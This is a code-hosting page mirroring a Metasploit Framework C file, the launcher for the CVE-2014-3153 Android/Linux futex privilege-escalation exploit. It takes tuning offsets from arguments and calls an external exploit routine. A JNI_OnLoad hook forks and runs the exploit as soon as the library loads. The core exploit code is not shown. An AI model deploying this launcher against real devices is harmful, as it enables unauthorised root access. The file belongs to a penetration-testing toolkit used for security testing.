CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2014-3153/main.c
Views: 11780
1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <stdbool.h>
4
#include <netinet/in.h>
5
#include <sys/socket.h>
6
#include <sys/ptrace.h>
7
#include <sys/syscall.h>
8
#include <sys/wait.h>
9
#include <sys/mman.h>
10
#include <fcntl.h>
11
#include <jni.h>
12
#include "log.h"
13
14
extern int waiter_exploit();
15
extern int config_new_samsung;
16
extern int config_iovstack;
17
extern int config_offset;
18
extern int config_force_remove;
19
20
void init_exploit() {
21
22
LOGV("[+] <main> parent pid = %d", getpid());
23
24
int retval = waiter_exploit();
25
26
LOGV("Exploit result %d\n", retval);
27
}
28
29
30
int main(int argc, char **argv) {
31
32
if (argc > 4) {
33
config_new_samsung = atoi(argv[1]);
34
config_iovstack = atoi(argv[2]);
35
config_offset = atoi(argv[3]);
36
config_force_remove = atoi(argv[4]);
37
}
38
39
init_exploit();
40
41
exit(EXIT_SUCCESS);
42
}
43
44
JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
45
{
46
JNIEnv *env;
47
LOGV("onload, uid=%d\n", getuid());
48
49
if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)
50
{
51
return -1;
52
}
53
54
int pid = fork();
55
if (pid == 0) {
56
init_exploit();
57
}
58
return JNI_VERSION_1_4;
59
}
60
61
JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )
62
{
63
}
64
65